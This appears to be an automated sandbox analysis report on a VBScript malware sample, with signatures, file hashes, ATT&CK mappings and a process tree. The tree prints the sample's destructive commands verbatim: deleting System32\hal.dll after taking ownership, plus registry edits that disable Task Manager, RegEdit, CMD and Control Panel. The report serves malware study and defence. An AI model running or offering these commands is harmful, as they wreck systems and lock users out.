1f5908c7c460b3f96247bfca0ee219a2fbfb0338f883a0ca51d995791671a38b

General

Target
target.vbs
Size 3KB
Sample240726-ref23asdkj
SHA256 1f5908c7c460b3f96247bfca0ee219a2fbfb0338f883a0ca51d995791671a38b
MD5 0df2163db111e93fdb99404692460791
SHA1 06d41ddab76e32f0ed2cd66e198c693ce3f249a5
SHA512 123f9913d9a961f5e6928c7c289c711ec12a64553f16bd1d71675a0a8b2c7478dade27aea88af09adf1a666bc8168209df1ec741c1531b7d3798db566011b103
MD5 SHA1 SHA512

Score

9^/10

discovery evasion exploit ransomware

Malware Config

Signatures

Renames multiple (203) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2032	takeown.exe
1692	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2032	takeown.exe
1692	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 8 IoCs

Modify Registry

T1112

pid	Process
2164	reg.exe
2760	reg.exe
3404	reg.exe
1408	reg.exe
2948	reg.exe
396	reg.exe
2944	reg.exe
344	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2032	takeown.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3500 wrote to memory of 2512	3500	WScript.exe	95
PID 3500 wrote to memory of 2512	3500	WScript.exe	95
PID 3500 wrote to memory of 1408	3500	WScript.exe	97
PID 3500 wrote to memory of 1408	3500	WScript.exe	97
PID 3500 wrote to memory of 2948	3500	WScript.exe	100
PID 3500 wrote to memory of 2948	3500	WScript.exe	100
PID 2512 wrote to memory of 2032	2512	cmd.exe	99
PID 2512 wrote to memory of 2032	2512	cmd.exe	99
PID 2512 wrote to memory of 1692	2512	cmd.exe	102
PID 2512 wrote to memory of 1692	2512	cmd.exe	102
PID 3500 wrote to memory of 396	3500	WScript.exe	103
PID 3500 wrote to memory of 396	3500	WScript.exe	103
PID 3500 wrote to memory of 2944	3500	WScript.exe	105
PID 3500 wrote to memory of 2944	3500	WScript.exe	105
PID 3500 wrote to memory of 344	3500	WScript.exe	107
PID 3500 wrote to memory of 344	3500	WScript.exe	107
PID 3500 wrote to memory of 2164	3500	WScript.exe	109
PID 3500 wrote to memory of 2164	3500	WScript.exe	109
PID 3500 wrote to memory of 2760	3500	WScript.exe	111
PID 3500 wrote to memory of 2760	3500	WScript.exe	111
PID 3500 wrote to memory of 3404	3500	WScript.exe	113
PID 3500 wrote to memory of 3404	3500	WScript.exe	113

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f/s/q C:\Windows\System32\hal.dll && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2032
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1692
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1408
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Modifies registry key
  PID:2948
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:396
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:2944
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:344
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:2164
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
  2⤵
  - Modifies registry key
  PID:2760
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  - Modifies registry key
  PID:3404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh.vbs

Path C:\Users\Admin\AppData\Roaming\sh.vbs
Size 79B
SHA256 c97fb00a65e02154715ebab5948521244d6572b50e817076b122402b328cbf41
MD5 9c7e6123e53e2934815230ecb3322366
SHA1 aa2668d966f5c98648786a47d90b5a2fd538ef7a
SHA512 6d580274be6202f91fc182ce4a74d689a9f34bde34115611465c4f7c7b40d86f9a9ae70760af1ecbada85d612e0d24fe28714158d247186d2d45b385dd65b8a9
MD5 SHA1 SHA512

Submit Download

03016648.exe.LNK

Path C:\Users\Admin\Desktop\03016648.exe.LNK
Size 1KB
SHA256 dd18f1a238a419edac4d7d7d2abdab9a37743698d6d2d1b9cf59d3a984ed0d1c
MD5 faee610bb6b263e31c1a3a96733134d2
SHA1 e2eef1772a5b85126bb671f18aecd1c600176397
SHA512 e12effe674fae5e1eb512a721498193c2ab3972665bdb2d82c16aa327092af5b2a17246877ee697be20358f708271b91a9fd2f6c243bc9c7503473754759e4fd
MD5 SHA1 SHA512

Submit Download

04012538.exe.LNK

Path C:\Users\Admin\Desktop\04012538.exe.LNK
Size 1KB
SHA256 a00fff848117bb750f115b150e7b5993b60b510f910c99abbfa24e96c1ed51cc
MD5 4e00424968d9cf05ec4e88c82881b51a
SHA1 4cef69b6fa458e8a5e13937b89b4c39fdac0f0d6
SHA512 f270d3efad062a60e067716195a922488a310cef0e8ca87436b32ef22c03fe6afecd6f6deaad631551eb8b2bc28a3901cb540c65a7284e0475a661edf87ce2f3
MD5 SHA1 SHA512

Submit Download

05013691.exe.LNK

Path C:\Users\Admin\Desktop\05013691.exe.LNK
Size 1KB
SHA256 46450f2fc5b6faacde7b093ba12ca97d95c59ec8affe3027da50a9bfbdda3daa
MD5 485b1e77c614949e286a340561191c72
SHA1 e30422b51c2c93288d41bdc098184e376043cf1a
SHA512 54564e6ff864f26f7c593fde28d50c83940cc81a43b493a6e6baceda180ac64e5aab69088c0842424826903da360aa0506bbf9467a82c452483dc430b798ba86
MD5 SHA1 SHA512

Submit Download

DenySkip.mhtml.vbs

Path C:\Users\Admin\Desktop\DenySkip.mhtml.vbs
Size 63B
SHA256 02fea62b5b131e6b20297295807ef84edce22c16454d7ce9e3195643b2bbab4e
MD5 b8e840ff69848923001563328a60a894
SHA1 a43ef46a3b85f2e3ed40df0a4b76f87e194ab7bf
SHA512 59e445384ef6f4e488f966f074e65fac98637b7287e5da4228d6cdfcb0900cc4bc9af1ca6d8a15f8ec4bfcdb73e2923e9981ea111a522ae7b51e97be0e487964
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads